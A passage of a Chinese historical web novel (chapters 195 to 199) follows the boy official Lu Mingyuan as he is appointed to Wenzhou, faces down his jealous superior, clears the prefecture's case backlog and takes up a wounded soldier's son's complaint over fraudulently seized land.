“如今我朝行海禁,片板不得下海,看似杜绝了倭患,实则断绝了财路,逼良为寇!” “臣以为,堵不如疏!与其让那些海商巨贾,勾结倭寇,行那走私的买卖,将万万两的白银流入私囊。” “不如由朝廷重开市舶司,行‘漕海一体’之策,将海贸之利,尽归国库!” “为示稳妥,臣提议,可先择一地试行。” “浙江温州府,自古便是通商大港,倭患亦是深重,正适宜作为试点之地!” “漕海一体”四个字一出,林瀚文站在队列中,心中巨震! 他猛地抬起头,看向殿上那个侃侃而谈的严世蕃。 他下意识地瞥了一眼龙椅上那个深不可测的身影,一股寒意从背脊升起。 昨天! 就在昨天夜里! 陛下才在西苑与自己密谈,说会安排人提出“漕海一体”,没想到……竟然是严世蕃! 让最大的反对者,成为最大的支持者! 让所有人都以为这是严党的谋划,从而将自己,将皇权,彻底摘了出去! 帝王心术,竟至于斯! 林瀚文对嘉靖皇帝的敬畏,在这一刻,又深了几分。 严世蕃的话,让整个朝堂陷入了诡异的寂静。 清流们面面相觑,他们准备了无数攻击严党的言辞,此刻却一句也说不出来。 因为严世蕃说的,正是他们想说的! 开海禁,利国利民,这是无数有识之士呼吁了多年的事情! 徐阶的眼神闪烁不定,他立刻意识到,这背后必然是皇帝的意志。 他迅速与身后的几位清流核心交换了眼色,随即出列附和道。 “严尚书所言,乃是老成谋国之言,臣,附议!” “臣等附议!” 清流官员们纷纷响应。 局势瞬间明朗,朝堂之上,竟出现了严党与清流异口同声的罕见景象。 嘉靖似乎对此很满意,他缓缓睁开眼,淡淡道。 “既然众卿都无异议,那这试行‘漕海一体’之事,便这么定了。” “只是……派谁去浙江主持此事,众卿可有人选?” 来了! 这才是今日早朝的真正核心! 政策已经定了,但由谁去执行,将决定这每年数百万两的巨额利益,最终落入谁的口袋! 第196章 翰林院编修陆明渊接旨 当天下午,京城西门外,十里长亭。 一辆不起眼的青布马车缓缓停下,车夫跳下车,警惕地看了看四周。 晚秋的风卷起地上的枯叶,打着旋儿飞向远方,官道上行人稀疏,一片萧瑟。 车帘掀开,一身常服的林瀚文走了下来。 他没有去亭中安坐,只是负手立在路边,望着京城的方向,眼神复杂。 此去经年,再回京城,不知是何光景。 没过多久,一骑快马自官道尽头而来,马上之人同样是一身布衣,身形挺拔,面容清癯。 来人正是新任兵部尚书,裕王府的核心智囊,张居正。 张居正翻身下马,将缰绳随意系在路边的柳树上,快步走到林瀚文面前,拱手道。 “润贞兄,此去江南,山高路远,恕小弟未能远送。” 林瀚文回过身,看着这位在清流阵营中声望日隆的后起之秀,微微一笑,摆了摆手。 “叔大不必多礼。你我之间,何须这些俗套。” 两人没有过多的寒暄,张居正的目光锐利如刀,直入主题。 “润贞兄,今日朝堂之事,想必你也看明白了。” “‘漕海一体’,乃是陛下钦定,大势所趋。只是这浙江的人选……小弟心中尚有疑虑,特来请教。” 林瀚文捋了捋被风吹乱的胡须,浑浊的眼眸中闪过一丝精光。 他知道张居正想问什么。 “叔大是想问我,为何举荐一个十二岁的少年,去当这开山填海的急先锋?” 张居正默然点头,这确实是他心中最大的困惑。 陆明渊虽有惊世之才,但毕竟年少,浙江官场是何等凶险之地? 盘根错节,水深千尺,一个少年人跳进去,怕是连个水花都翻不起来。 林瀚文转过身,望向远方连绵的西山,声音悠远而沉静。 “我知你所虑。但你可知,昨日严阁老府上的管事,也曾派人来探我的口风。” 张居正心中一动。 “我告诉他,我举荐陆明渊。” “不为私情,只为公义。此子之心胸、眼界,远超常人。” “他那篇策论,你看过,当知我所言非虚。” “这‘漕海一体’,本就是他思想的延伸,由他去,名正言顺,也最为透彻。” 张居正的眉头依旧紧锁:“可严党……” “严党自然不会让他舒坦。” 林瀚文打断了他。 “但正因如此,才更要他去。” “这趟浑水,需要一条过江猛龙去搅动,而不是一头畏首畏尾的老牛去试探。” “老成持重之人,顾虑太多,反而寸步难行。” 他顿了顿,回过头,深深地看了张居正一眼,语气变得意味深长。 “叔大,你我皆是聪明人。有些话,我说一遍,是为举贤不避亲。” “严阁老的人来问,我是举荐陆明渊。” “即便是陛下来问,我依旧是举荐陆明渊。” 说完这句话,林瀚文不再停留,拍了拍张居正的肩膀,转身登上了马车。 “叔大,保重。” 车帘落下,隔绝了视线。 马车缓缓启动,车轮碾过枯叶,发出沙沙的声响,渐行渐远。 张居正独自站在官道上,寒风吹得他衣袂翻飞。 他怔怔地看着那辆远去的马车,林瀚文最后那句话,如同一道惊雷,在他脑海中轰然炸响! 聪明人是不会说一句废话的! 林瀚文的意思再明白不过——陛下已经问过了!而且,他也已经这么回答了! 举荐陆明渊,不仅仅是林瀚文的意思,更是林瀚文揣摩上意后,顺水推舟的结果! 甚至,这根本就是陛下的意思! 张居正心中不由得一紧,后背瞬间渗出一层冷汗。 他原以为这只是林瀚文爱才心切的冒险之举。 却没想到,这背后竟然牵扯到了龙椅上那位深不可测的帝王! 他忽然明白了,林瀚文推荐陆明渊,不是在给清流找一个先锋,而是在给皇帝送一把最锋利的刀! 一把没有任何派系背景,只忠于皇帝,足以斩开浙江乱局的刀! 他看着马车消失在官道尽头的烟尘里,心中原有的想法,在这一刻,被彻底颠覆。 …… 夜色渐深,裕王府。 书房内灯火通明,内阁次辅徐阶正坐在太师椅上,手中端着一杯热茶,慢条斯理地吹着水面上的浮沫。 张居正坐在他的对面,将今日与林瀚文的会面,以及自己的猜测,一五一十地说了出来。 听完之后,徐阶那张总是波澜不惊的脸上,也露出了一丝凝重。 他将茶杯轻轻放下,修长的手指在桌面上无意识地敲击着,发出笃、笃的轻响。 “林润贞……果然是只老狐狸。” 徐阶缓缓开口,声音沙哑。 “他这是把我们,把严党,都当成了陛下的磨刀石啊。” 张居正沉声道。 “老师,那我们该如何应对?若真是陛下的意思,我们再推举旁人,恐怕会惹得陛下不快。” “不快,也要推。” 徐阶的眼中闪过一丝不易察觉的锐利。 “陛下是想用一把快刀,但我们,不能让这把刀脱离掌控。” “陆明渊才十二岁,才华再高,终究是少年心性。” “浙江的大局,他掌控不住。” 徐阶站起身,在书房中踱了几步,似乎在权衡利弊。 “‘漕海一体’,是国之大计,也是我等清流多年夙愿,绝不能有任何岔子。” “严党势必会死死盯着,稍有不慎,便会前功尽弃,甚至被他们反咬一口。” 他停下脚步,看向张居正,眼中已是一片清明。 “所以,此事必须由一个稳重老成、且是我们自己的人来主导。” “陆明渊可以去,但只能为副,为辅。” “老师的意思是?” “裕王府詹事,谭伦。” 徐阶吐出了一个名字。 “谭希襄(谭伦的字)为人沉稳,在地方上有过历练,又是王府旧人,忠诚可靠。” “由他出任温州知府,总揽全局。陆明渊,可任温州同知,从旁协助。” “如此一来,既顺了陛下的意,也保了此事万无一失。” 张居正闻言,眼中一亮,躬身道:“老师深谋远虑,学生佩服!” …… 接下来的三日,金銮殿上风云再起。 严党与清流,为了浙江温州知府的人选,吵得是天昏地暗,唾沫横飞。 严党死保汪文中,清流力挺杜晦之。 双方各执一词,互不相让,从祖宗十八代骂到文章品行,朝堂几乎变成了菜市场。 嘉靖依旧是那副闭目养神的样子,任由底下吵闹,不发一言。 直到第三日的下午,当所有人都吵得筋疲力尽,嗓子沙哑之时,他才终于有了动作。 一道旨意,传召内阁首辅严嵩,次辅徐阶,入西苑问话。 西苑,万寿宫。 这里没有金銮殿的威严,却比金銮殿更让人感到窒息。 香炉里燃着上好的龙涎香,烟气袅袅,让人的心神都为之恍惚。 严嵩与徐阶一左一右,恭敬地垂手而立,连大气都不敢喘。 嘉靖皇帝盘膝坐在蒲团上,手中把玩着一串玉石念珠,过了许久,才缓缓睁开眼。 “吵了三天,可有结果了?” 他的声音很轻,却带着不容置疑的威严。 严嵩与徐阶同时躬身。 “臣等无能,请陛下圣裁。” 嘉靖冷笑一声:“朕若是什么都替你们定了,还要你们这内阁做什么?” 两人吓得连忙跪倒在地。 严嵩毕竟是侍奉了嘉靖二十年的老臣,最是懂得揣摩上意。 他知道,陛下迟迟不肯点头,既不是对汪文中满意,也不是对杜晦之满意。 陛下真正中意的人选,恐怕另有其人。 只是那人资历太浅,位置不够,直接提拔,难以服众。 想到这里,严嵩心中一横,做出了一个大胆的决定。 他叩首道:“启禀陛下,臣思虑再三,觉得汪文中确有瓜田李下之嫌。” “为避非议,臣愿收回举荐。臣以为,翰林院编修杜晦之,清正廉明,可堪大任。” “只是……浙江之事,千头万绪,仅靠一人,恐独木难支。” 他抬起头,小心翼翼地观察着嘉靖的神色,继续说道。 “臣听闻,今科状元陆明渊,于漕海之事上见解独到,其策论更是石破天惊。” “所谓‘解铃还须系铃人’,不如……便由杜晦之出任温州知府,以陆明渊为温州同知,协同推行‘漕海一体’国策。” 此言一出,一旁的徐阶心中剧震! 好个老贼! 竟然后发制人,将他准备好的人选和盘托出,还卖了清流一个天大的人情! 他立刻明白,严嵩这是猜到了陛下的心思,在投石问路! 徐阶不敢再犹豫,立刻叩首道。 “陛下,严阁老所言虽有道理,但杜晦之毕竟是书生,于地方政务上恐有生疏。” “臣举荐裕王府詹事谭伦,谭伦曾在地方任职,经验老道,由他出任温州知府,更为稳妥。” “陆明渊天纵奇才,可任温州同知,从旁历练。” 两人都将陆明渊放在了“温州同知”这个副手的位置上,这既是试探,也是妥协。 嘉靖皇帝听完两人的话,脸上依旧没什么表情,只是手中盘弄念珠的速度,似乎慢了一丝。 万寿宫内,一时间静得落针可闻。 许久,嘉靖的声音才再次响起,带着一丝不容置疑的决断。 “杜晦之,为人方正,可为表率。就由他,出任温州知府。” 一句话,定了主官。 严嵩心中一松,徐阶心中一沉。 但嘉靖的话还没完。 “陆明渊,‘漕海一体’由他而起,理当参与。任温州同知,协同杜晦之。” “至于谭伦……” 嘉靖的目光转向徐阶,缓缓道。 “温州一地试行,终究局促。台州府与温州府毗邻,同为倭患重灾区,便也一并纳入试行之地。” “就由谭伦,出任台州知府,与温州互为犄角,遥相呼应吧。” 圣旨一下,严嵩与徐阶同时叩首,心中却是五味杂陈。 第197章 竖子!安敢如此欺我! 陆明渊缓缓放下手中的《水经注》,神色平静地站起身,整理了一下身上的襕衫。 他走到庭院中央,朗声道! “臣,翰林院编修陆明渊,接旨。” 旨意的内容与西苑的决断并无二致,只是用词更加堂皇典雅。 杜晦之任温州知府,陆明渊任温州同知,协同推行“漕海一体”,五日后起程。 “……陆明渊才识冠绝,思虑深远,当为国之栋梁,钦此。” “臣,领旨谢恩,吾皇万岁万岁万万岁。” 陆明渊双手高举,接过那卷明黄的丝帛。 圣旨入手,沉甸甸的,那不是丝绸与墨迹的重量,而是一省之地的风雨,是无数百姓的生计。 当他站起身时,周围的同僚们目光复杂。 有羡慕,有嫉妒,有惊叹,也有几分不易察觉的怜悯。 十二岁的从六品同知,开国以来,闻所未闻。 这是泼天的恩宠,也是能将人压垮的重担。 浙江那地方,是善地吗? 那是严党盘根错节的老巢,是倭寇肆虐的血海,去那里当官,同入炼狱并无差别。 陆明渊没有理会那些目光,只是对着传旨太监微微一礼,便转身回到了自己的位置。 仿佛刚才发生的一切,他重新拿起那本《水经注》继续翻阅。 回到京城的陆府,已是掌灯时分。 府邸不大,却被林武带着人打理得井井有条。 听闻陆明渊归来,林武立刻迎了上来,脸上是压抑不住的兴奋。 “少爷,圣旨的事,小的已经听说了!恭喜少爷,贺喜少爷!” 陆明渊摆了摆手,示意他不必多礼,径直走进书房。 “林武,坐。” 林武有些局促地在下首坐了,身板挺得笔直。 陆明渊看着他,这个从江陵县一路跟出来的汉子,眼中满是忠诚与质朴。 他轻声道:“我这一去浙江,短则三年,长则不知何年何月才能回京。这府里,就交给你了。” 林武闻言,猛地站起身,单膝跪地,声音恳切。 “少爷!小的不求富贵,只求能跟在少爷身边,为您牵马执鞭!” “浙江路远,多有凶险,让小的跟着您,也好有个照应!” 陆明渊摇了摇头,亲自将他扶起。 “京城,比浙江更需要你。” 他的声音很轻,却带着不容置喙的力量。 “这座府邸,是我们在京城的根。你守在这里,就是守着我们的根。” “府里其他人,你告诉他们,愿意留下的,月钱照发,府里养着,平日里也能做些营生,钱从府里出。” “若想另谋生路的,便发三个月月钱,让他们自行离去,我不强求。” 林武眼眶一红,他知道陆明渊的决定不容更改。 “小的……遵命!少爷放心,只要小的还有一口气,这陆府的大门,就没人能动它分毫!” “好。” 陆明渊拍了拍他的肩膀,“我信你。” 此去温州,他没有选择带上大批人马。 只点了十个精锐护卫,又选了四个手脚麻利的丫鬟。 若雪,自然也是要跟着的。 五日时光,转瞬即逝。 京城东门,晨曦微露。 陆明渊的队伍,一辆寻常马车,十余骑护卫,显得简单利落。 车轮滚滚,碾过京畿的青石官道,陆明渊掀开车帘,最后望了一眼那在晨雾中渐渐模糊的城墙轮廓。 那里有他名动天下的起点,有西苑帝王的审视,有朝堂诸公的算计。 而此去,前路漫漫,皆是未知。 “公子,风大。” 若雪的声音在身旁响起,递过来一件披风。 陆明渊回过神,接过披风披在身上,少女指尖的微凉触感一闪而逝。 他看着若雪那双清澈又带着一丝倔强的眼睛,微微一笑。 “无妨,东南的风,想来会更暖和一些。” 长路迢迢,晓行夜宿。 从京城到浙江温州,数千里之遥。 队伍走得并不快,一个半月的光景,斗转星移,节气已过立冬。 北方的萧瑟肃杀,渐渐被南方的温润苍翠所取代。 这一个半月,陆明渊几乎都在马车中度过。 他没有像寻常官员那样急着赶路。 他每日的行程固定,一有空闲,便捧着书卷研读,或是与护卫们探讨些沿途的风土人情。 他像一块海绵,贪婪地吸收着关于这个世界的一切信息。 从一地粮价,到一处关隘,从百姓的口音,到乡野的传说,他都听得津津有味。 他知道,书本上的“漕海一体”四个字,终究要落到这片真实的土地上,落到每一个具体的人身上。 终于,在初冬一个阴雨绵绵的午后,队伍抵达了温州府城。 与想象中的凋敝不同,温州城内竟是人烟阜盛,商铺林立。 只是那繁华的表象之下,隐藏着一丝难以言说的紧张。 街上随处可见挎着腰刀的巡街兵丁。 百姓的脸上,也少了几分江南水乡应有的安逸,多了几分警惕与戒备。 陆明渊没有耽搁,直接命人前往府衙。 递上吏部勘合、身份玉引以及那卷任命圣旨后,一名主簿模样的中年官员立刻恭敬地将他迎了进去。 “陆同知一路辛苦。” 那主簿脸上堆着笑,态度谦卑。 “府尊大人已于三日前到任,此刻正在书房处理公务,下官这就带您过去拜见。” “有劳。” 陆明渊微微颔首。 早到三天么……他心中了然。 看来这位知府大人,是个急性子,也急着想在这温州府立稳脚跟。 府衙后堂,知府书房。 陆明渊站在门外,便能听到里面传来的翻阅卷宗的沙沙声。 “启禀府尊,陆同知到了。” 主簿在门外轻声禀报。 “让他进来。” 里面传来一个略带不耐的声音。 陆明渊推门而入,只见书房内,杜晦之正坐在一张宽大的花梨木书案后。 他头也不抬地看着手中的一份文书。 案上文牍堆积如山,显然他这三日并未清闲。 “下官陆明渊,拜见府尊大人。” 陆明渊躬身行礼,不卑不亢。 杜晦之这才缓缓抬起头,将手中的文书放下,目光落在陆明渊身上。 他的眼光带着审视,也带着一丝毫不掩饰的不悦。 他本就是三年前的榜眼,对当年那个压了自己一头的状元至今耿耿于怀。 如今,一个年仅十二岁的新科状元,竟能与自己平起平坐,甚至这搅动朝堂的“漕海一体”。 最重要的是,这国策还是出自这少年之手,他心中的不忿可想而知。 在他看来,这陆明渊不过是走了运,拜了个好老师。 那篇策论,若无林瀚文在背后指点斧正,一个黄口小儿如何能写得出来? 不过是拾人牙慧,沽名钓誉罢了。 自己苦读十数载,翰林院坐了三年冷板凳,才换来一个知府。 他陆明渊,凭什么? 这股积压已久的不平衡,在此刻尽数化作了唇边的冷笑。 “陆同知,你可算是到了。” 杜晦之靠在椅背上,慢条斯理地说道。 “本官与你同日出京,却比你早到了三日。怎么,莫非是京城繁华,让陆同知流连忘返?” “还是陆同知觉得新科状元之尊,可以不将这区区数千里路程放在眼里,一路游山玩水而来?” 话语尖锐,如同一根根钢针,直刺人心。 这便是他准备好的下马威。 他以为,一个十二岁的少年,面对上官如此严厉的诘问,必然会惊慌失措,躬身请罪。 然而,陆明渊的反应却出乎他的意料。 少年清秀的脸上没有半分惶恐,他只是静静地听着。 待杜晦之说完,才抬起眼眸。 “府尊大人说笑了。” 陆明渊的声音依旧平静。 “不过三日之差,或许是下官的马车不如大人的脚程快,又或许是路上偶遇风雨,耽搁了些许功夫。” “大人不必如此言辞尖锐。” 他顿了顿,语气陡然转得锋锐起来。 “我等奉旨办差,为的是推行‘漕海一体’的国策,为的是这温州一府的百姓安宁。” “早到三天,国策不能立刻推行;晚到三天,国策也不会就此耽误。” “大人身为一府主官,心心念念的,竟是这三日之差,而非国事之重。” “下官倒是觉得,大人不必如此‘敏锐’。” 一番话,掷地有声! 杜晦之脸上的冷笑僵住了,他诧异地看着眼前的少年,几乎不敢相信自己的耳朵。 他设想过无数种陆明渊的反应,或辩解,或请罪,或惶恐。 他唯独没有想过,陆明渊会如此犀利地反驳回来! 这哪里是一个十二岁的孩子? 杜晦之的脸色一阵青一阵白,胸口起伏,一股怒意直冲头顶。 他堂堂知府,竟被一个乳臭未干的同知当面教训! 可这股怒火,却又发作不出来。 他很清楚,陆明渊是嘉靖帝亲点的状元,是林瀚文的得意门生,是“漕海一体”这道国策名义上的源头。 真的把他往死里得罪,惹得西苑那位不快,或是让清流一脉起了反感,自己这知府的位置也坐不稳。 他不过是心中不爽,想敲打一下这个少年,让他明白谁才是这温州府衙的主人。 却没想到,敲在了铁板上。 良久,杜晦之才深吸一口气,强行压下心中的火气,从牙缝里挤出一句话。 “说得好,说得好啊!陆同知果然是状元之才,口舌过人!” 他挥了挥手,脸上重新挂起一丝僵硬的笑容。 “罢了,想来你也是初来乍到,一路劳顿。” “先去安顿下来吧,至于国事……不急,等你安顿好了,我们再慢慢谈。” 第198章 备轿!去教坊司! “去城里最大的牙行。” 陆明渊对身旁的护卫队长吩咐道。 “少爷,我们不住在驿馆吗?” 护卫队长有些不解。 “驿馆人多眼杂,非久留之地。” 陆明渊淡淡道。 “这次漕海一体,至少要在温州待上五年,驿馆过于嘈杂,总得有个家的样子。” 温州城内最大的牙行名为“清雅居”,名字雅致,做的却是房产生意。 掌柜的是个精明的中年人,一见陆明渊一行人的气度,便知不是寻常人物。 再听闻是要寻一处清净宽敞的宅邸,更是热情备至。 掌柜的满脸堆笑,从柜台后取出一本厚厚的图册。 “小人手里正好有一处绝佳的宅子,原是一位徽商所有,后来生意重心转去了扬州,这才忍痛割爱。” “三进三出的大宅,带花园,带池塘,清净雅致,最是适合您这样的读书人。” 陆明渊没有翻看图册,只是问道:“现在能去看看?” “当然,当然!” 掌柜的见他如此爽快,立刻锁了铺子,亲自引路。 宅子坐落在城南的一条僻静巷弄里,朱红色的漆门,门口蹲着两只不算威严却憨态可掬的石狮子。 推开门,一股久无人居的清冷气息夹杂着淡淡的桂花香气扑面而来。 掌柜的所言非虚,这确实是一处极好的宅院。 前院宽敞,可供护卫们操练;中院典雅,几间正房厢房错落有致。 后院更是别有洞天,一个小巧的池塘,一座假山,几株老桂树,雨打芭蕉,声声入耳,意境悠远。 “少爷如何?” 掌柜的小心翼翼地观察着陆明渊的神色。 陆明渊在后院的廊下站定,看着池塘中被雨点击碎又重聚的倒影,满意地点了点头:“开个价吧。” “那位徽商老爷说了,低于三百五十两银子,不卖。” 掌柜的报出价格,心中有些忐忑,这价格在温州府城,已然不低。 “三百五十两,成交。” 陆明渊没有丝毫犹豫,直接对身旁的护卫道。 “去取银票。” 掌柜的愣住了,他见过买东西爽快的,却没见过买宅子跟买菜一样爽快的。 三百五十两,眼都不眨一下? 他连忙躬身,脸上的笑容愈发真诚。 “公子爽快!小人这就去取地契房契,今日便可办妥!” 半个时辰后,这处宅院便正式姓了陆。 陆明渊让护卫们自行安顿在前院,丫鬟们则开始清扫中院的各个房间。 若雪没有去管那些杂事,而是径直走进了最大的一间正房,开始为陆明渊收拾卧室与书房。 她将从京城带来的书籍一本本从箱笼中取出,小心翼翼地擦拭干净,再分门别类地摆放在紫檀木的书架上。 然后是笔墨纸砚,每一件都摆放得整整齐齐,一丝不苟。 最后,她点燃了一支安神的檀香,清幽的香气很快便驱散了屋内的潮湿与冷清。 当陆明渊走进书房时,看到的就是这样一幅景象。 窗外是淅淅沥沥的雨,室内是温暖明亮的灯,书架上是他熟悉的书卷,空气中是他习惯的香气。 仿佛他不是初到温州,而是已经在这里生活了许久。 “公子,先歇息一下吧。” 若雪为他沏了一杯热茶。 …… 次日清晨,雨过天晴。 卯时,天刚蒙蒙亮,陆明渊便已穿戴整齐,抵达了府衙。 点卯之后,他被主簿引到了自己的公房。 作为温州同知,正六品的方面官,他需要分管的事务繁杂得令人头皮发麻。 盐、粮、捕盗、江防、海疆、河工、水利、清理军籍、抚绥民夷……几乎涵盖了一府之地的方方面面。 而上一任同知,据说是高升去了蜀中,却给温州府留下了一个巨大的烂摊子。 堆积在公房角落里的卷宗,几乎有半人高,上面落满了灰尘,显然已经许久无人问津。 主簿脸上带着几分尴尬的笑容。 “陆大人,前任王大人走得急,这些……都是些陈年旧案,一时难以处理,便积压了下来。” “无妨。” 陆明渊只是平静地说了两个字,便走到书案后坐下,随手拿起最上面的一份卷宗。 那是一桩关于沿海盐场与当地卫所争夺滩涂的案子,双方各执一词,已经扯皮了近一年。 陆明渊的目光落在卷宗上,便再也没有移开。 接下来的七天,整个温州府衙的人,都见识到了什么叫做“少年状元”。 这位年仅十二岁的陆同知,仿佛是个不知疲倦的怪物。 每日卯时,他总是第一个出现在府衙。 每日亥时,当所有人都已回家安歇,他的公房里,却依旧灯火通明。 堆积如山的卷宗,以肉眼可见的速度减少着。 一桩桩积压了数月甚至一年的烂账,在他手中被梳理得清清楚楚。 …… 第七日,当最后一份关于“抚绥民夷”的卷宗被他批阅完毕,盖上同知大印时,窗外已是满天星斗。 整整半年的积弊,七日扫空! 府衙内的吏员们,看他的眼神从最初的轻视与怀疑,变成了深深的敬畏。 那些前来衙门办事的百姓,亲眼见证了这位少年同知雷厉风行的手段与明察秋毫的智慧,无不交口称赞。 “温州来了个陆青天!” “十二岁的青天大老爷,真是文曲星下凡啊!” “我那被邻村占了三年的水田,告了八回状都没人理,陆大人只看了一眼地契,半个时辰就给我断清楚了!” 陆明渊的名字,如同一阵清风,迅速吹遍了温州府的大街小巷。 与此同时,最痛苦的人,莫过于知府杜晦之。 作为一府主官,他不能表现得比自己的副手还要懒散。 陆明渊卯时到,他便只能强撑着睡意,卯时一刻到。 陆明渊亥时走,他硬着头皮,也只能陪到戌时末。 这短短七日,比他当年悬梁刺股、备战科举还要辛苦百倍。 他眼眶发黑,精神萎靡,看着对面公房里那个依旧神采奕奕的少年,心中的不忿与嫉妒几乎要化为实质。 他当官是为了什么? 是为了光宗耀祖,是为了享受荣华富贵,是为了体验那种手握权柄、万人之上的快感! 帮百姓办事,可以,这是为官的本分。 但不能办这么多,不能这么累! 这个陆明渊,到底是个什么怪物? 年纪轻轻,中了状元,当了高官,不想着享受生活,不想着附庸风雅,不想着结交同僚。 天天就知道埋首在这些发霉的卷宗里! 他的人生还有什么乐趣可言? 第八日傍晚。 杜晦之看着窗外渐渐暗下来的天色,又瞥了一眼对面依旧灯火通明的同知公房,终于忍无可忍。 他“啪”的一声将毛笔扔在桌上,墨汁溅得到处都是。 “备轿!去教坊司!” 他对着门外的长随低吼道。 他受够了! 他要去听曲,要去喝酒,要去看看温州城里最温柔的姑娘!这才是人生! 长随不敢多言,连忙去安排。 片刻之后,杜晦之的官轿在一片暮色中,悄然离开了府衙,朝着那灯红酒绿之地行去。 而陆明渊的公房内,依旧安静。 直到深夜,他才揉了揉有些酸涩的眼睛,吹熄了蜡烛,起身离去。 …… 第九日,清晨。 陆明渊的马车照旧在卯时抵达了府衙门口。 他刚要下车,却见路边的人群忽然一阵骚动。 一个衣衫褴褛、身形瘦弱的少年,约莫十三四岁的年纪,猛地从人群中冲了出来。 他不顾一切地扑到陆明渊的马车前,“咚”的一声,重重地跪在了地上。 他用尽全身力气,嘶声高喊。 “青天大老爷!求青天大老爷主持公道啊!” 第199章 实在是太高明了! 赶早市的百姓、开铺的店家、甚至府衙门口那几名睡眼惺忪的衙役,目光齐刷刷地投向了声音的来源。 那辆精致而低调的马车,在温州府的晨光中已经连续出现了九日。 人们早已习惯了这位少年同知雷打不动地早到。 但像今日这般,被人当街拦下,还是头一遭。 两名衙役立时回过神来,脸上露出几分煞气,手中的水火棍一顿,便要上前将那不知死活的少年拖开。 “冲撞了同知大人的官驾,你这泼皮是想进大牢里过活吗!” “滚开!快滚开!” 马车的车帘被一只骨节分明的手轻轻掀开。 陆明渊清冷而平静的声音从中传出。 “住手。” 正要动手的衙役身形一僵,下意识地缩回了手,躬身退到一旁。 陆明渊缓步走下马车,一身正六品的青色官袍穿在他略显瘦削的身上,衬得他身姿挺拔如松。 那双深邃的眼眸,平静地落在跪伏于地的少年身上。 所有人都屏住了呼吸,看着这不可思议的一幕。 一位年仅十二岁的地方大员,与一个衣衫褴褛、满身污泥的告状少年。 两人在这府衙门前,构成了一幅极具冲击力的画面。 “本官陆明渊,忝为温州府同知。” “你有何冤屈,可当着本官的面,一一道来。若所言属实,本官,自会为你做主。” 那少年猛地抬起头,绝望的眼神中终于迸发出一道精光。 他重重地磕头,发出“咚”的一声闷响。 “大人!草民名叫何二柱,是平阳县何家村人氏!” 少年的声音依旧沙哑,但条理却异常清晰。 “我爹是戍边的军士,去年在台州府跟倭寇厮杀,断了一条腿一条胳膊,这才伤残回乡。” “朝廷体恤,府衙嘉奖,赏了我们家十亩上好的水田,以彰其功。” 说到此处,何二柱的眼中闪过一丝与他年龄不符的痛苦与愤恨。 “可我爹伤了身子,干不了重活,家中只有一个十三岁的我,阿娘要照顾阿爷,还要照顾年迈的祖母。” “村里的地主赵大富便盯上了我们家,他假意说要帮我们耕种,却哄骗我爹签下了一份文书。” “我爹不识字,只当是寻常的租佃契约,便按了手印。” “谁知那竟是一份霸王条款!文书上写着,若遇天灾歉收,我家需以田地抵偿他的损失。” “今年温州雨水虽多,但远谈不上天灾,那赵大富却买通了县里的胥吏,硬说我家那十亩田颗粒无收,强行将地契夺了去!” 何二柱的声音越来越激动,瘦弱的身体因愤怒而微微颤抖。 “大人,我们一家老小便指着那十亩田过活!” “如今田没了,分毫收入也无,我祖母前几日急火攻心,一病不起,家里连抓药的钱都拿不出来。” “草民去县衙告状,可那县丞与赵大富是儿女亲家,状纸递上去便石沉大海!” “草民走投无路,听闻府城里来了位陆青天,这才……这才斗胆拦下大人官驾。” “求大人为草民,为我那为国戍边的父亲,主持公道啊!” 说完,他又是一个响头磕在地上,额角已然渗出血丝。 周围的百姓听得义愤填膺,一时间议论纷纷。 侵占伤残军士的功勋田,这在任何一个朝代,都是足以捅破天的大事。 这不仅是欺压良善,更是在动摇国本,寒天下所有将士的心! 陆明渊静静地听着,脸上古井无波,看不出喜怒。 他没有立刻表态,而是俯下身,看着何二柱的眼睛,问道:“那份文书,你可有留存?” 何二柱一愣,随即从怀里掏出一张被汗水浸得有些发皱的纸,双手呈上。 “大人,这是当初誊抄的副本,草民……草民偷偷藏了一份。” 陆明渊接过那张薄薄的纸,目光扫过上面的条款。 那丝微不可察的弧度再次隐入唇角,带着一丝冰冷的寒意。 他站直了身子,没有再多说一个字,转身便迈步走进了府衙高高的门槛。 何二柱和围观的百姓都愣住了,这位陆青天,这是……不管了? 就在人心浮动之际,陆明渊的声音从府衙内传来,清晰地传到每一个人耳中。 “来人,带原告何二柱到公房录供。其余人等,各自散去,莫要在此喧哗。” 他的话音沉稳有力,瞬间安定了所有人的心。 …… 同知公房内,陆明渊坐在书案之后,身前站着一名战战兢兢的主簿和一名奋笔疾书的吏员。 “平阳县民何二柱,状告本县乡绅赵大富,以欺诈手段,侵占其父——戍边伤残军士何大勇之功勋田十亩。” 陆明渊的声音不带一丝感情,仿佛在陈述一件再寻常不过的公事。 主簿在一旁小心翼翼地提醒道。 “大人,此案发生在平阳县,按规制,是否应先发回县衙,令其重审……” 陆明渊抬起眼,淡淡地瞥了他一眼。 仅仅一眼,主簿便觉如坠冰窟,后面的话全都堵在了喉咙里。 他这才想起,眼前这位少年,可是在七日之内,将府衙半年的积弊扫荡一空的“怪物”。 “何大勇名录军籍,其功勋田乃朝廷所赐,属军属优抚之列。” 陆明渊的声音再次响起,带着不容置喙的决断。 “本官分管事务,便有‘清理军籍、抚绥民夷’之责。” “此案牵涉军籍,案情重大,为免地方包庇,延误案机,即刻由本府立案,卷宗留存于同知衙署,由本官亲审。” 主簿心中剧震,额上冷汗涔涔而下。 高明! 实在是太高明了! 将此案的性质直接定义为“牵涉军籍”,这就完美地绕过了知府杜大人,将案子的管辖权牢牢地抓在了自己手里。 杜大人就算想插手,也找不到任何理由,因为这本就是同知的职权范围! 在府衙立案,更是等于将此事昭告于众。 平阳县那边再想一手遮天,肆意欺瞒,已是绝无可能! “是,是!下官……下官这就去办!” 主簿连声应道,再不敢有半分异议。 很快,一份崭新的卷宗便被建立起来,盖上了温州府同知的大印。 紧接着,陆明渊亲自提笔,以温州府同知的身份,向平阳县衙发出了一道措辞严厉的公函。 要求平阳县立刻封存赵大富名下所有田产地契,并就侵占伤残将士良田一案,进行彻查。 三日之内,必须回报。 公函写毕,用印封好,交由驿吏火速送出。 做完这一切,陆明渊却并未停下。 他看着窗外已经升至半空的太阳,眼中闪过一丝冷冽。 他从不相信纸面上的文章。 一道公函,或许能让平阳县那些官吏们有所收敛,但绝不可能让他们吐出已经吃下的肥肉。 蛇鼠一窝,指望他们自己调查自己,无异于与虎谋皮。 “来人。” 陆明渊扬声道。 一名护卫队长立刻从门外进来,躬身听令。 “点五名精干的衙役,备马,随我即刻出发,前往平阳县。” 护卫队长一怔:“伯爷,现在就去?” “对,现在。” 陆明渊站起身,语气平静却不容置疑。 “我不相信少年的一面之词,也不相信当地县衙的调查结果。此案,我必须亲自去查。” 